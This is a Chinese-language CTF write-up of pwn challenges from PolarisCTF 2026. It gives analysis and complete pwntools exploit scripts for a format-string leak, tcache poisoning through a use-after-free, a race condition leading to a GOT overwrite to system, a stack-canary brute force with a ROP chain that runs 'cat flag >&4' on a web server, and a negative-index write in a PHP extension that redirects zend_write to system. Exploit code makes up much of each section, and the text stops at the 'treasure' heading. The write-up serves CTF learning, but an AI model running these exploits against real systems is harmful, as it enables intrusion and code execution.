Polarisctf2026 pwn wp by YHalo

近期参加了星盟战队的招新赛,题目质量很高,涵盖了不少有趣的考点,这次运气比较好,居然还拿了单方向第一,在这里简单记录和复盘一下解题思路,希望能和各位师傅交流探讨,如有纰漏或理解不到位之处,还请多多指正

polaris1

pwn

ez-nc

题目没有给附件,只给了nc靶机,黑盒起手

第一句交互提示:

Enter the filename to download:

想到格式化字符串,输入%p测试下

0x7ffdcaf5f721 not existed or could not be opened.

说明 format string 存在

用脚本枚举 %1$s ~ %80$s,观察哪些位可读

发现%45$s会触发 File content: 并输出 ELF 二进制,说明第 45 个参数展开后,最终形成了可打开的有效文件,结果把程序自身 ELF 泄出来了

把 %45$s 的输出保存后跑 strings提取flag就行

exp

from pwn import *
import re
io=remote("nc1.ctfplus.cn", 12580)
io.recvuntil(b"Enter the filename to download: ")
io.sendline(b"%45$s")
data = io.recvuntil(b"Enter the filename to download: ")
io.close()
m = re.search(rb"polarisctf\{[^}]+\}", data)
if m:
    print(m.group(0).decode())
else:
    print("flag not found")

ezheap

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
FORTIFY:    Enabled
SHSTK:      Enabled
IBT:        Enabled
$ file bin
bin: ELF 64-bit LSB pie executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0d7621095cc4f306b3c15884cdd4fa3881e6ba26, for GNU/Linux 3.2.0, stripped

去符号化,有点难受

英文不好,还得翻译才能看懂交互菜单

[1] 注册模型工件
[2] 流式工件块
[3] Bootstrap异步调度器
[4] 检查调度器队列
[5] 分配会话张量
[6] 完成批量推理
[7] 补丁会话元数据
[8] 配置员工资料
[9] 分派异步任务
[10] 运行时遥测
[11] 操作手册
[0] 关闭网关

ida查看字符串的时候发现了./flag

polaris2

追踪引用发现后门函数,静态地址0x6750,只要想办法让程序执行到这里就会把flag打出来

polaris3

ai分析main函数逻辑,做一段固定混淆计算,如果结果刚好等于 0xDEADBEEF,往 stderr 打印 never

然后初始化了一个 runtime_ctx,全局操作对象,接着进入主菜单循环menu_loop(sub_8A60)

一样ai分析,不然看的实在太难受了

调用选项函数也发生在这里,只不过反汇编窗口没有显示出来,ida可能把case调用优化了,需要看下汇编

找像这样的jumptable case就对了

polaris4

选项6

polaris5
operator delete(s, 0x50);
ctx->active[slot] = 0;

这里释放了堆内存session

还把active数组对应下标的对象清0,表示失活

但是ctx->sessions[slot]没有清掉,典型的UAF漏洞

选项7

polaris6
((uint64_t *)s)[0] = qword_value;

改chunk的首个 qword,也就是 tcache 单链表里的 fd

qword_value来自输入值,可控,配合选项6可以做fd poison

继续逆下其他选项

选项9,Dispatch async task

是一个执行器,逻辑是

输入 task_id--从 ctx->tasks[task_id] 里取 desc--取出 desc->handler
只有满足下面任一条件才会真的 call:
handler == task_runner_log_ack
handler == task_runner_xor_ack
handler == task_runner_mul_ack
queue_ctrl->strict_policy == 0

最后handler(desc->ctx);

默认只会跑白名单里的正常任务,得想办法试下能不能让task_id->desc->handler = 后门函数

两条路:1. 让 handler 继续等于白名单里的 3 个之一 2.让 strict_policy == 0

没必要硬走1,维持白名单 handler普通任务反而后面会很麻烦

继续找关于strict_policy的引用,它在ctx->queue_ctrl + 0x8

mov rdx, [ctx+0x20]     ; queue_ctrl
cmp byte ptr [rdx+8], 0 ; strict_policy

这个位就在 queue_ctrl 结构里

如果能申请到这块内存,就可以改写queue_ctrl+0x8 = 0,使得strict_policy=0

看下选项8

本质是申请一个 0x50 的 worker_profile,读 6 个整数 + 1 个字符串,按固定偏移写进去,然后把这个指针存进一个 worker 数组里

用ai分析出这个结构体的布局:

struct worker_profile {
    uint64_t cpu_quota;    // +0x00
    uint64_t mem_quota;    // +0x08
    uint64_t io_weight;    // +0x10
    uint64_t latency_slo;  // +0x18
    uint64_t replicas;     // +0x20
    char     memo[0x20];   // +0x28
    uint64_t region_code;  // +0x48
}; // size = 0x50

程序会要求你输入一系列 Worker 的参数,并解析为 64 位整数,存入堆块内存中

选项4可以泄露queue_ctrl和task0_desc的运行地址,选项10可以泄露后门函数的运行地址

选项5会泄露 session 的 handler,还能用来做 safe-linking 计算

这样整个利用链就很清晰了:

先泄露 queue_ctrl、task0_desc、audit_sink(后门)
第一次 poison 到 queue_ctrl,用 8 把 strict_policy 清零
第二次 poison 到 task0_desc,用 8 把 handler 改成 audit_sink
最后按 9 触发 handler(ctx),打印 flag

exp

from pwn import *
context(arch="amd64",os="linux",log_level="debug")
elf=ELF("./bin")
#io = remote("nc1.ctfplus.cn", 17941)
io=process("./bin")

def get_hex_after(out, marker):
    for line in out.splitlines():
        if marker in line:
            return int(line.split(marker, 1)[1].split()[0], 16)
    raise ValueError(f"missing marker: {marker!r}")

def bootstrap(io):
    io.sendline(b"3")
    io.recvuntil(b"gateway> ")
def inspect(io):
    io.sendline(b"4")
    out = io.recvuntil(b"gateway> ", drop=True)
    queue_ctrl = get_hex_after(out, b"queue_ctrl=")
    task0 = get_hex_after(out, b"[task:0] desc=")
    return queue_ctrl, task0

def telemetry(io):
    io.sendline(b"10")
    out = io.recvuntil(b"gateway> ", drop=True)
    return get_hex_after(out, b"diag.audit_sink=")

def alloc(io, slot, size, name):
    io.sendline(b"5")
    io.sendlineafter(b"session.slot(0-15)> ", str(slot).encode())
    io.sendlineafter(b"session.tensor_bytes> ", str(size).encode())
    io.sendlineafter(b"session.alias> ", name)
    out = io.recvuntil(b"gateway> ", drop=True)
    return get_hex_after(out, b"handle=")

def free_session(io, slot):
    io.sendline(b"6")
    io.sendlineafter(b"session.slot> ", str(slot).encode())
    io.recvuntil(b"gateway> ")

def patch_fd(io, slot, value):
    io.sendline(b"7")
    io.sendlineafter(b"diag.session.slot> ", str(slot).encode())
    io.sendlineafter(b"diag.qword_index> ", b"0")
    io.sendlineafter(b"diag.qword_value(u64)> ", str(value).encode())
    io.recvuntil(b"gateway> ")

def worker(io, a, b, c, d, e, f, memo=b"x"):
    io.sendline(b"8")
    io.sendlineafter(b"worker.cpu_quota> ", str(a).encode())
    io.sendlineafter(b"worker.mem_quota> ", str(b).encode())
    io.sendlineafter(b"worker.io_weight> ", str(c).encode())
    io.sendlineafter(b"worker.latency_slo> ", str(d).encode())
    io.sendlineafter(b"worker.replicas> ", str(e).encode())
    io.sendlineafter(b"worker.region_code> ", str(f).encode())
    io.sendlineafter(b"worker.memo> ", memo)
    io.recvuntil(b"gateway> ")

def dispatch(io, idx):
    io.sendline(b"9")
    io.sendlineafter(b"queue.task_id> ", str(idx).encode())
    return io.recvuntil(b"gateway> ", drop=True)

def poison(io, target, s0, s1, s2, tag):
    alloc(io, s0, 0x10, tag + b"0")
    h1 = alloc(io, s1, 0x10, tag + b"1")
    free_session(io, s0)
    free_session(io, s1)
    patch_fd(io, s1, target ^ (h1 >> 12))
    alloc(io, s2, 0x10, tag + b"2")

def exploit(io):
    bootstrap(io)
    queue_ctrl, task0 = inspect(io)
    audit_sink = telemetry(io)

    log.info("queue_ctrl = %#x", queue_ctrl)
    log.info("task0_desc = %#x", task0)
    log.info("audit_sink = %#x", audit_sink)

    poison(io, queue_ctrl, 0, 1, 2, b"Q")
    worker(io, 0, 0, 0, 0, 0, 0, b"policy")

    poison(io, task0, 3, 4, 5, b"T")
    worker(
        io,
        0x1111111111111111,
        0x100,
        0x3333333333333333,
        audit_sink,
        task0,
        0x6666666666666666,
        b"owned",
    )

    out = dispatch(io, 0)
    print(out.decode(errors="ignore"))


if __name__ == "__main__":
    io.recvuntil(b"gateway> ")
    exploit(io)

music box

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

长得挺像堆菜单,但是注意到程序初始化完成后建立了一个叫GarbageClean的线程

polaris7

功能逻辑是一个循环线程,检查 gc.used 是否达到阈值 0x200,没到阈值就什么都不做,继续下一轮,到阈值后拿 g_mutex

选择另一块 heap 空间作为新 base,也就是 space0(unk_4318) 和 space1 (unk_4718)来回切,总共就两块空间,遍历所有 slot,把还活着的note从旧 base + old_off 拷到新空间,按拷贝后的布局重写每个 slot 的新 offset

polaris8

当前 base = space0 时,slots 距离 base 是 0x800,当前 base = space1 时,slots 距离 base 是 0x400,两个偏移不同,但是固定

gc线程加锁后会打印GC: Be quiet.,这个可以作为之后我们判断gc拿锁的信号

同样还初始化了一个叫musicbox的线程,循环从lyrics数组里取歌词打印,歌词应该是英文版《踏浪》(不重要)

总之只要这个stop不为1就会一直以约 250ms 的频率,不断地申请、打印、释放各种不同长度的歌词数据,导致连续申请的chunk物理位置上并不连续

polaris9

再看菜单交互主逻辑大写Main,发现对于 Delete,Edit和Show这三个功能,调用链都是先调 GetSlotOffset(index)再执行各自的功能,在函数内部执行加锁

这个GetSlotOffset()返回的是当前的offset

漏洞就在于,在调用GetSlotOffset获取偏移的时候没有加锁,之后调用函数功能才加了锁,这两步之间存在时间空隙

之前说的线程GarbageClean又是一个定时轮询,如果在这两步之间发生,那就会造成拿到旧的offset,访问的却是新的base,后续操作的旧不是原来的note

还有一个漏洞是ShowNote 和 EditNote,发现这两个函数都会先把当前位置当成一个 note 头来解析,并用 random_key 做一次完整性校验

polaris10

如果校验通过,就按头部里的 off 和 len 去真正读写:

ptr + 8 + off

但如果校验失败,程序并不会直接报错退出,而是强制退回成:

off = 0;
len = 8;
polaris11

也就是说,它会从当前错误位置开始,再往后偏 8 字节,固定读写 8 字节

这就意味着如果我们利用前面的竞态,让 stale offset 落到某个 chunk 的中间,那么 ShowNote和EditNote 读到的头部大概率就不是合法 note 头,校验自然失败

而校验失败之后,程序反而白送了我们一个稳定的原语:

从错误位置开始,向后固定读写 8 字节

于是整条利用链就很清楚了

第一步,先利用一次 stale read 泄漏 random_key,主线程和musicbox线程都是250ms延迟,如果我们在歌词输出稳定后发送alloc请求,两个线程配合就可以形成交替分配堆块

具体做法是先布置前几个 note,然后在 Shownote 读 index 之后、真正进入 ShowNote 之前卡一次 GC,这样 GetSlotOffset() 拿到的是旧 offset,但 ShowNote 真正访问时使用的是新的 base

此时 stale offset 会落到另一个 chunk 的中间,校验失败,程序走默认分支,从错误位置后方固定读取 8 字节。如果这个 8 字节正好可以读到相邻 note 的真实头部,就可以恢复出 random_key

polaris12

如果我们等待第一句歌词发送lalalalalala之后,再开始布置note(每个note占据大小都是0x10),这样歌词占位和note的布置就会交替进行,第二句歌词刚好只有8字节,这个第二句刚好在note0和note1之间,note1就是图中我写入的BBBBBBB2(0x32424242424242),Note 1 的偏移变成了 0x28,等到卡完gc之后,show(1)执行验证错误分支,用ptr+8 ,0x28 + 8 = 0x30,刚好踩中 note3的头部

第二步,再利用一次 stale write 伪造 note 头

思路和前面一样,只不过这次不是 Show,而是 Edit。让 EditNote 在 GC 前取得旧 offset,在 GC 后真正写入。由于落点已经错位,校验失败后会固定往后写 8 字节,这 8 字节正好可以覆盖另一个 note 的头部

于是我们可以伪造出一个合法但偏移特殊的 note,让它后续访问的不是自己的 data,而是 slot metadata

第三步,利用这个假 note 改写 slot 表。

一旦某个 note 能读写 metadata,我们就可以修改 slot[0].off 和 slot[0].size,把 note0 指向 GOT

先让 note0 指向 puts@got – 8,这样 show note 0 就能泄漏 puts 实际地址,进而算出 libc 基址

第四步,再把 note0 指向 atoi@got – 8,然后用 edit note 0 把 atoi@got 改成 system

由于没有给定的ld,用本地ld又会让附件里的libc启程序直接stack smashing,所以我打本地时直接用的本地libc,远端再切回来

exp

from pwn import *
context(arch="amd64",os="linux",log_level="debug")
elf=ELF("./attachments/main")
#libc=ELF("./attachments/libc.so.6")
libc=ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe', 'bash', '-c']
fake_off = 0x388
space1 = 0x4718
def add(data, first=False):
    if first:
        io.sendline(b"1")
    else:
        io.sendlineafter(b"Please input your choice:", b"1")
    io.sendlineafter(b"Give me the size of note:", b"8")
    io.sendafter(b"Give me the content of note:", data)
def edit(idx, data):
    io.sendlineafter(b"Please input your choice:", b"3")
    io.sendlineafter(b"Index: ", str(idx).encode())
    io.sendafter(b"Give me the new content of note:", data)
def show(idx):
    io.sendlineafter(b"Please input your choice:", b"4")
    io.sendlineafter(b"Index: ", str(idx).encode())
    io.recvuntil(b"Your content:\n")
    return io.recvn(8)
def wait_boot():    
    ok1 = 0
    ok2 = 0
    while not (ok1 and ok2):
        s = io.recvline()
        if b"Please input your choice:" in s:
            ok1 = 1
        if b"Lalalalalalala." in s:
            ok2 = 1
def wait_gc():
    while True:
        s = io.recvline()
        if b"GC: Be quiet." in s:
            return
def wait_until(token):
    while True:
        if token in io.recvline():
            return
def race_show(idx):
    io.sendlineafter(b"Please input your choice:", b"4")
    io.recvuntil(b"Index: ")
    wait_gc()
    io.sendline(str(idx).encode())
    io.recvuntil(b"Your content:\n")
    return io.recvn(8)
def race_edit(idx, data):
    io.sendlineafter(b"Please input your choice:", b"3")
    io.recvuntil(b"Index: ")
    wait_gc()
    io.sendline(str(idx).encode())
    io.sendafter(b"Give me the new content of note:", data)
def note0_to(addr):
    off = (addr - space1 - 8) & 0xffffffff
    edit(7, p32(off) + p32(8))
def pwn():
    libc.address = 0
    wait_boot()

    add(b"AAAAAAA1", first=True)
    add(b"BBBBBBB2")
    #gdb.attach(io)
    #pause()
    add(b"CCCCCCC3")
    gdb.attach(io)
    pause()
    add(b"DDDDDDD4")

    leak = race_show(1)
    key = u32(leak[4:]) ^ 0x80000
    log.success("key = %#x" % key)

    wait_until(b"GC: Be quiet.")
    wait_until(b"GC: Music.")

    add(b"EEEEEEE5", first=True)
    add(b"FFFFFFF6")
    add(b"GGGGGGG7")
    add(b"HHHHHHH8")

    fake = p16(fake_off) + p16(8) + p32(key ^ ((8 << 16) | fake_off))
    race_edit(5, fake)

    note0_to(elf.got["puts"])
    puts_addr = u64(show(0))
    libc.address = puts_addr - libc.sym["puts"]
    if libc.address & 0xfff:
        raise RuntimeError("bad libc leak")
    log.success("puts = %#x" % puts_addr)
    log.success("libc = %#x" % libc.address)

    note0_to(elf.got["atoi"])
    edit(0, p64(libc.sym["system"]))
    log.success("atoi -> system")
for i in range(10):
    io=process("./attachments/main")
    #io=remote("nc1.ctfplus.cn,26706)
    pwn()
    break

io.interactive()

httpd

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled

一道web pwn

先启动服务看看,是一个路由管理平台

polaris13

没有注册功能,需要考虑先绕过这个登录凭证

接着分析elf文件,从主函数开始

这个sub_4019c2函数会初始化全局状态,申请一块0x100大小的空间然后清空,用户名固定为“admin”,密码是随机的8字节

polaris14

顺着主函数找到子进程处理客户端连接的函数sub_401A24

polaris15

分别有两个函数处理GET和POST请求

  • 未登录访问 / 会跳去 /login
  • 已登录访问 /login 会跳去主页
  • /logout 会清空 token
  • /getCookie 会生成 uuid 作为 token

漏洞在于处理GET请求函数里的0x402faf这个鉴权函数

这个函数非常短,但非常关键

polaris16

它做的事就是:

return strcmp(req->cookie_key, "token") == 0 &&
       strcmp(req->cookie_value, state->token) == 0;

看起来没问题,但结合初始化函数就出事了

因为之前分析init_map初始化清零, state->token 初始就是空字符串,所以下面这个请求头:

Cookie: token=

会让:req->cookie_key == “token”,req->cookie_value == “”,state->token == “”

于是 0x402faf 直接返回真

也就是说在没有真正登录、没有访问 /getCookie 的情况下,就能伪造一个合法鉴权状态

polaris17

测试了下可以直接拿到/config的页面

主程序是父进程监听,每个连接 fork,子进程处理请求,canary在父进程里固定,子进程继承,如果子进程崩了,父进程还可以继续连接,所以canary可以尝试爆破

接下来看处理POST请求函数,它只处理 /login、/resetPasswd、/config 这三类请求

send_http_response (0x402C9E)是函数里的接收和发送http响应的功能函数,后续可以作为回包函数

有一个漏洞是在解析POST请求里的 handle_config_update (0x4035A0) 里,它先把四个字段取出来,然后分别 memcpy 到栈上的固定大小缓冲区里q1

这canary居然写在缓冲区内部

polaris18

a1是第一个参数,在这里就是POST的请求body,parse_urlencoded_form解析body,存入form_table里

find_from_param就从解析后的form_table里提取对应的字段作为param_entry(包括用户指定的长度和数据)

这里的问题是目标缓冲区是固定长度,拷贝长度len=param_entry却来自用户输入

并且没有边界检查,那就是很明显的栈溢出漏洞

按这个函数的栈布局去看,四个缓冲区大概是:

route_name  [rbp-0xa0]
ip  [rbp-0x80]
subnet_mask  [rbp-0x60]
gateway  [rbp-0x40]

gateway 这个字段离 canary 最近,所以就拿它打,先靠返回包里有没有 {“setInfo” : 1} 去一个个爆 7 字节 canary
接着再把 saved rbp 爆出来,因为后面要算栈上字符串地址

把返回地址改到 /config 成功分支的中间位置 0x402AC5,就是这个setInfo: 1分支

polaris19

同时把上层栈里后面要用到的变量改掉,让 send_http_response ()把 write@got 当响应 body 发回来。这样就能拿到 write 的真实地址,libc 基址也就有了

polaris20

最后一发就是正常 ret2libc,用 pop rdi ; ret 0x4016DE 把参数指到栈上布置好的 “cat flag >&4″,然后调 system
\>&4 是因为当前连接的 socket fd 就是 4,flag 会直接回到这条连接上

用的本地libc(2.39)

exp

from pwn import *
context(arch="amd64", os="linux", log_level="debug")
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe', 'bash', '-c']
elf = ELF("./httpd")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.binary = elf
timeout = 0.5

canary_off = 0x28
gap_off = 0x30
rbx_off = 0x38
rbp_off = 0x40
ret_off = 0x48
caller_fd_off = 0x5C
caller_body_off = 0x70

ok = b'{"setInfo" : 1}'
ret = 0x40101A
pop_rdi = 0x4016DE
leak_continue = 0x402AC5



def enc(data):
    return b"".join(b"%%%02x" % c for c in data)


def packet(gw):
    body = b"route_name=a&ip=a&subnet_mask=a&gateway=" + enc(gw)
    return (
        b"POST /config HTTP/1.1\r\n"
        b"Host: x\r\n"
        b"Cookie: token=\r\n"
        b"Content-Type: application/x-www-form-urlencoded\r\n"
        + f"Content-Length: {len(body)}\r\n".encode()
        + b"Connection: close\r\n\r\n"
        + body
    )


def req(gw, t=timeout):
    #io = process("./httpd")
    io = remote("nc1.ctfplus.cn", 21567)
    io.send(packet(gw))
    data = io.recvrepeat(t)
    io.close()
    return data


def good(payload):
    for _ in range(2):
        try:
            if ok in req(payload):
                return True
        except (EOFError, PwnlibException):
            pass
    return False


def body(data):
    if b"\r\n\r\n" not in data:
        return b""
    return data.split(b"\r\n\r\n", 1)[1]


def brute_canary():
    canary = b"\x00"
    log.info("brute canary")
    for i in range(1, 8):
        for b in range(0x100):
            payload = b"A" * canary_off + canary + p8(b)
            if good(payload):
                canary += p8(b)
                log.success(f"canary[{i}] = {b:#04x}")
                break
        else:
            raise RuntimeError(f"canary byte {i} failed")
    log.success(f"canary = {canary.hex()}")
    return canary


def brute_rbp(canary):
    rbp = b""
    log.info("brute rbp")
    for i in range(6):
        for b in range(0x100):
            payload = b"A" * canary_off
            payload += canary
            payload += b"B" * 0x10
            payload += rbp
            payload += p8(b)
            if good(payload):
                rbp += p8(b)
                log.success(f"rbp[{i}] = {b:#04x}")
                break
        else:
            raise RuntimeError(f"rbp byte {i} failed")
    rbp += b"\x00\x00"
    log.success(f"rbp = {rbp.hex()}")
    return rbp


def leak(canary, rbp):
    #io = process("./httpd")  
    io = remote("nc1.ctfplus.cn", 21567) 
    
    payload = flat(
        {
            canary_off: canary,
            gap_off: b"G" * 8,
            rbx_off: b"B" * 8,
            rbp_off: rbp,
            ret_off: p64(leak_continue),
            caller_fd_off: p32(4),
            caller_body_off: p64(elf.got["write"]),
        },
        filler=b"A",
        length=caller_body_off + 8,
    )

    log.info("leak libc")
    
    io.send(packet(payload))
    io.recvuntil(b"\r\n\r\n")
    write_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
    io.close()

    libc.address = write_addr - libc.sym.write
    log.success(f"write = {write_addr:#x}")
    log.success(f"libc  = {libc.address:#x}")
    return libc.address


def final_payload(canary, rbp):
    stack = u64(rbp)
    cmd_off = 0x80
    cmd_addr = stack - 0x1B0 + cmd_off
    cmd = b"cat flag >&4\x00"

    return flat(
        {
            canary_off: canary,
            gap_off: b"G" * 8,
            rbx_off: b"B" * 8,
            rbp_off: p64(0),
            0x48: p64(ret),
            0x50: p64(pop_rdi),
            0x58: p64(cmd_addr),
            0x60: p64(libc.sym.system),
            0x68: p64(pop_rdi),
            0x70: p64(0),
            0x78: p64(elf.plt.exit),
            cmd_off: cmd,
        },
        filler=b"A",
        length=cmd_off + len(cmd),
    )


def pwn():
    canary = brute_canary()
    rbp = brute_rbp(canary)
    leak(canary, rbp)

    log.info("final")

    io = remote("nc1.ctfplus.cn", 21567)
    io.send(packet(final_payload(canary, rbp)))
    data = io.recvrepeat(1.5)
    io.close()
    print((body(data) or data).decode(errors="ignore"))


if __name__ == "__main__":
    pwn()

ph

vuln.so

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
    Debuginfo:  Yes

同样是一道web pwn

表面上是一个上传页面,附件里还给了一个自定义 PHP 扩展 vuln.so

从web入口开始,先把index.php丢给ai看下页面逻辑

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['file'])) {
        $file = $_FILES['file'];

        $upload_dir = '';
        $target_file = $upload_dir . basename($file['name']);

        $result = move_uploaded_file($file['tmp_name'], $target_file);

这段代码的功能是处理文件上传

先检查请求方法是否为POST,再检查文件名是否为file

upload_dir = '',也就是文件直接落在当前目录

只做了 basename(),没有做后缀限制,也没有禁止上传 .php

这就意味着我们可以上传任意 PHP 文件,文件会落到 /var/www/html/

上传后可以直接通过 http://target/文件名.php 执行

这样看这个入口很强

简单写个php文件去远端测试下:<?php echo “OK”; ?>

polaris21

上传和执行成功,但如果是 system()exec() 这样的都会报 Call to undefined function

常规的命令执行函数貌似都禁掉了

然后看下php.ini,最末尾写了一句extension = vuln.so,这个so文件一定会被作为扩展加载到php进程

接着看下start.sh

#!/bin/bash
     
echo $FLAG > /flag
chmod 400 /flag
FLAG="flag{not_here}"

# DO NOT DELETE
service apache2 start
service ssh start
sleep infinity;

/flag 权限是 400,只有文件所有者可以读

但是题目还给了一个SUID 程序 /readflag

polaris22

那么这个预期利用面应该是让我们想办法执行/readflag,另外看它能不能回显出来

然后分析vuln.so

导出函数名中很容易注意到zif_add,zif_edit,zif_delete,怀疑是个堆题布局

polaris23

三个函数都有一样的问题,这个idx<=15只检查了上界,没有兜底

那么负数索引应该也是可以通过的,有越界风险

edit函数有句挺值钱的

zend_parse_parameters是标准 PHP 内核函数,参数 &idx, &data, data_len都由用户控制

polaris24

只要能把heap[idx] 控成任意地址,heap_size[idx] 伪造成足够大

那 edit() 就直接变成任意地址写

本质就是负索引 OOB

追踪下heap

polaris25

heap 是 QWORD 数组,在0x41c0,总共定义了16个元素,每个8字节qword,如果利用负索引可以写到bss段之前

heap_size[0]在 0x4180

然后我们需要去这个扩展的入口看看

就是加载模块函数get_moudle

里面直接retern了vuln_module_entry,定位到地址

polaris26

但是这个只是结构体部分,查看引用看看它的got表处的指针

polaris27

地址是0x3fc0

0x41c0-0x3fc0=0x200

0x200/8=0x40=64

因为heap[]本身会解引用

也就是说运行时:

heap[-64] == *0x3fc0==&vuln_module_entry

这样思路就很顺了,借负索引,精准把写入起点拐到了 vuln_module_entry处

edit(-64, seed) 的写入起点是:

&vuln_module_entry = 0x40a0

相对 0x40a0 的偏移正好是:

0x4180 - 0x40a0 = 0xe0
0x41c0 - 0x40a0 = 0x120

所以构造一个长度 0x128的 seed,flat填充

seed[0xe0:0xe4] = p32(8),把 heap_size[0]改成 8

seed[0x120:0x128] = p64(target_addr),把 heap[0]`改成目标地址

这样做完以后,逻辑上就变成了:

heap[0] = target_addr
heap_size[0] = 8

所以:

edit(0, p64(value))

就会变成:

memcpy(target_addr, &value, 8);

于是我们得到了一个稳定的 8 字节任意写原语

题目远端禁用了所有常见命令执行函数,所以最自然的想法是找一个 PHP 内部函数指针,把它改成 libc 的 system

这里我选的是 libphp.so 里的全局函数指针:zend_write,这是 Zend 引擎真正的输出函数指针

echo "xxx" 最终会走到 zend_write("xxx", len)system(const char *cmd) 的第一个参数刚好也是字符串指针

在 x86_64 SysV 调用约定下:zend_write(str, len) 传参是 RDI = str, RSI = lensystem(str) 只关心 RDI

所以把:zend_write 改成system

之后,再执行echo ,也就是执行地产函数zend_write,就等价于system

因为我们能上传 PHP,所以直接上传:

<?php include "/proc/self/maps"; ?>

远端会把当前 Apache worker 的内存映射直接回显出来

可以从中拿到:vuln.so 基址,libphp.so 基址,libc.so.6 基址

结合一开始的readflag,用system执行/readflag > /var/www/html/flag_xxx.txt,然后访问文件就能拿到flag

exp

from pwn import *
context(arch="amd64", os="linux", log_level="debug")
elf = ELF("./attachments/vuln.so")

host = '80-8f2f806e-55bd-4037-ad56-c2f2c8607854.challenge.ctfplus.cn'
port = 80
base = '/'

vuln_module_entry_off = 0x40a0

heap_size_off = 0x4180
heap_off = 0x41c0
seed_len = heap_off - vuln_module_entry_off + 8
heap_size_slot0_off = heap_size_off - vuln_module_entry_off
heap_slot0_off = heap_off - vuln_module_entry_off

#转url
def q(data):
    return b"".join(b"%%%02x" % x for x in bytearray(data))    


def randomname(name, ext):
    return f"{name}_{randoms(8)}.{ext}"


def webpath(name=""):
    return base + name


def build_http(method, path, body=b"", headers=None):
    headers = headers or {}
    req = f"{method} {path} HTTP/1.1\r\n".encode()
    hdr = {
        "Host": host,
        "Connection": "close",
    }
    if body:
        hdr["Content-Length"] = str(len(body))
    hdr.update(headers)
    for k, v in hdr.items():
        req += f"{k}: {v}\r\n".encode()
    req += b"\r\n" + body
    return req


def dechunk(head, data):
    if b"transfer-encoding: chunked" not in head.lower():
        return data

    out = b""
    while data:
        line, _, rest = data.partition(b"\r\n")
        if not _:
            break
        size = int(line.split(b";", 1)[0], 16)
        if size == 0:
            break
        out += rest[:size]
        data = rest[size + 2 :]
    return out


def http(method, path, body=b"", headers=None):
    req = build_http(method, path, body, headers)
    io = remote(host,port,False)
    io.send(req)
    head = io.recvuntil(b"\r\n\r\n")
    data = io.recvall(timeout=120)
    io.close()
    return head, dechunk(head, data)

#构造文件上传格式,让服务器以为在上传文件
def build_multipart(name, data):
    boundary = "----" + randoms(16)
    body = (
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="file"; filename="{name}"\r\n'
        "Content-Type: application/octet-stream\r\n\r\n"
    ).encode()
    body += data
    body += f"\r\n--{boundary}--\r\n".encode()
    return body, {"Content-Type": f"multipart/form-data; boundary={boundary}"}


def upload(name, data):
    body, headers = build_multipart(name, data)
    _, data = http("POST", webpath("index.php"), body, headers)
    text = data.decode(errors="ignore")
    if "文件上传成功" not in text:
        log.failure(text)
        raise RuntimeError("upload failed")
    log.success(f"upload -> {name}")
    return name


def getb(name):
    _, data = http("GET", webpath(name))
    return data


def gettext(name):
    return getb(name).decode(errors="ignore")


def leak_maps():
    name = randomname("maps", "php")
    upload(name, b'<?php include "/proc/self/maps"; ?>')
    return gettext(name)

#从 maps 里提取模块基地址
def parse_base(maps, needle):
    for line in maps.splitlines():
        if needle in line and " r--p " in line and line.split()[2] == "00000000":
            return int(line.split("-", 1)[0], 16)
    raise RuntimeError(f"failed to find {needle}")


def dump_remote_file(remote_path, local_path):
    name = randomname("dump", "php")
    php = f'<?php include "php://filter/convert.base64-encode/resource={remote_path}"; ?>'.encode()
    upload(name, php)
    data = b64d(b"".join(getb(name).split()))
    open(local_path, "wb").write(data)
    log.success(f"dump -> {local_path}")


def arb_write(where, what, cmd):
    name = randomname("exp", "php")
    php = b'<?php edit(-64, $_POST["seed"]); edit(0, $_POST["ptr"]); echo $_GET["c"]; ?>'
    upload(name, php)

    seed = flat(
        {
            heap_size_slot0_off: p32(len(what)),
            heap_slot0_off: p64(where),
        },
        filler=b"\x00",
        length=seed_len,
    )
    body = b"seed=" + q(seed) + b"&ptr=" + q(what)
    path = webpath(name) + "?c=" + q(cmd.encode()).decode()

    io = remote(host, port, False)

    io.send(build_http("POST", path, body, {"Content-Type": "application/x-www-form-urlencoded"}))
    io.recvuntil(b"\r\n\r\n")
    io.recvall(timeout=120)
    io.close()


def main():
    maps = leak_maps()
    vuln_base = parse_base(maps, "/usr/local/lib/php/extensions/no-debug-non-zts-20210902/vuln.so")
    libphp_base = parse_base(maps, "/usr/lib/apache2/modules/libphp.so")
    libc_base = parse_base(maps, "/usr/lib/x86_64-linux-gnu/libc.so.6")

    libphp_path = "/tmp/libphp_remote.so"
    libc_path = "/tmp/libc_remote.so.6"
    dump_remote_file("/usr/lib/apache2/modules/libphp.so", libphp_path)
    dump_remote_file("/usr/lib/x86_64-linux-gnu/libc.so.6", libc_path)

    libphp = ELF(libphp_path, checksec=False)
    libc = ELF(libc_path, checksec=False)

    zend_write = libphp_base + libphp.sym.zend_write
    system = libc_base + libc.sym.system

    out = randomname("flag", "txt")
    cmd = f"/readflag > /var/www/html/{out}"
    arb_write(zend_write, p64(system), cmd)

    flag = gettext(out).strip()
    log.success(f"vuln_base   = {vuln_base:#x}")
    log.success(f"libphp_base = {libphp_base:#x}")
    log.success(f"libc_base   = {libc_base:#x}")
    log.success(f"zend_write  = {zend_write:#x}")
    log.success(f"system      = {system:#x}")
    log.success(f"flag file   = {out}")
    print(flag)

    return 0 if "{" in flag and "}" in flag else 1

if __name__ == "__main__":
    exit(main())

treasure

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
